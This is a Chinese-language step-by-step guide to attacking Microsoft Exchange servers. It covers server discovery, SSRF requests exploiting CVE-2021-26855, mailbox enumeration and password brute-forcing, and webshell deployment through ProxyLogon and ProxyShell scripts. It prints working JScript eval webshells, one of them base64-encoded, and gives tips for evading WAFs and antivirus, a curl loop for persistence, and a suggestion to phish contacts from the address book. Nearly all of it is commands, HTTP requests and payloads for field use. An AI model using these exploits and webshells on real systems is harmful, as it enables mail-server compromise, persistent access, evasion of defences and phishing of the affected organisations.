漏洞分析 | Exchange 漏洞利用
字数 1205 2025-08-20 18:17:07
Exchange漏洞利用全面指南
1. Exchange服务器发现与识别
1.1 通过SPN发现Exchange服务器
使用以下命令快速发现环境中是否存在Exchange服务器:
setspn -q */*
setspn -T 域名 -F -Q */* | findstr exchange
1.2 定位Exchange服务器
方法一:通过SPN发现
- 执行上述SPN查询后,可以直接ping发现的Exchange服务器名称
ping WIN-BN4UGESV2UD
方法二:使用fscan扫描
- 扫描结果中查找路径为
/owa/auth/的服务器
1.3 查看Exchange版本
- 右键查看网页源代码,通常可以在源代码中找到Exchange版本信息
2. 信息收集
2.1 使用工具收集
- 获取IP地址、版本号、域名、机器名等信息
2.2 手工收集(使用Burp)
获取机器名和LegacyDN:
POST /ecp/target.js HTTP/2
Host: win-bn4ugesv2ud
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=localhost~1941962754
Content-Type: text/xml
Content-Length: 2
修改目标机器名和域名:
POST /ecp/target.js HTTP/2
Host: win-bn4ugesv2ud
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=[name]@win-bn4ugesv2ud.hack.com:443/autodiscover/autodiscover.xml?#~1941962754
Content-Type: text/xml
Content-Length: 345
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>administrator@hack.com</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
3. 邮箱账户枚举与爆破
3.1 判断邮箱账户是否存在
使用CVE-2021-26855 PoC脚本枚举有效邮箱账户:
go run CVE-2021-26855-PoC.go -h win-bn4ugesv2ud -U user.txt
3.2 爆破邮箱密码
- 将爆破出来的邮箱账户组成字典
- 使用Intruder对收集到的密码进行爆破
- 如果密码正确,可以进入下一步操作
4. 漏洞利用方法
4.1 方法一:使用Python脚本
前提条件:需要爆破出有效邮箱账户
脚本关键部分:
fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test', 'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'key', 'no-reply']
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
执行命令:
python exp.py -u 192.168.181.239 -user administrator -suffix @hack.com
Webshell密码:code
4.2 方法二:使用批量利用脚本
python exp2.py win-bn4ugesv2ud
- 该脚本会对当前目录下users.txt中的用户进行利用
- 可以放大量用户或从步骤3获取的有效用户
4.3 方法三:使用ProxyShell RCE
python proxyshell_rce.py -u https://192.168.181.239 -e administrator@hack.com
运行后依次输入:
Get-MailboxExportRequest
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false
dropshell
注意:实战中可能遇到Exchange环境虽然是system权限但无法执行命令的情况,可能是被限制执行命令或杀软导致。
5. 绕过WAF的高级利用
5.1 生成加密Webshell
-
使用ProxyShell Payload工具生成加密webshell
- 修改脚本末尾部分替换为自定义webshell
- 运行得到payload(encode部分)
-
利用ProxyShell RCE脚本进行攻击
- 安装依赖
- 将上一步得到的payload复制到proxyshell_rce.py的314行中
5.2 生成并上传ASPX Webshell
以下内容用于生成一个123.aspx文件,访问一次就会在当前目录生成webshell:
PHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK
绕过杀软技巧:
- 编写sh脚本挂在服务器上持续访问webshell链接,防止被删除:
#!/bin/bash
while true
do
curl -ki https://xxxx.xxx//aspnet_client/ixxxot.aspx
done
6. 后台信息收集
- 在后台可以检索通讯录发送钓鱼木马
- 可以检索通讯录进行进一步爆破(用于报告编写)
7. 注意事项
- 实战中自带webshell容易被查杀,建议自定义webshell内容
- 脚本可能需要多次尝试才能成功
- 遇到执行限制时,考虑是否是杀软或执行策略导致
- 对于WAF防护的环境,需要使用加密webshell和持续访问技巧
通过以上步骤,可以全面利用Exchange服务器漏洞获取系统权限,同时提供绕过防护和持久化访问的方法。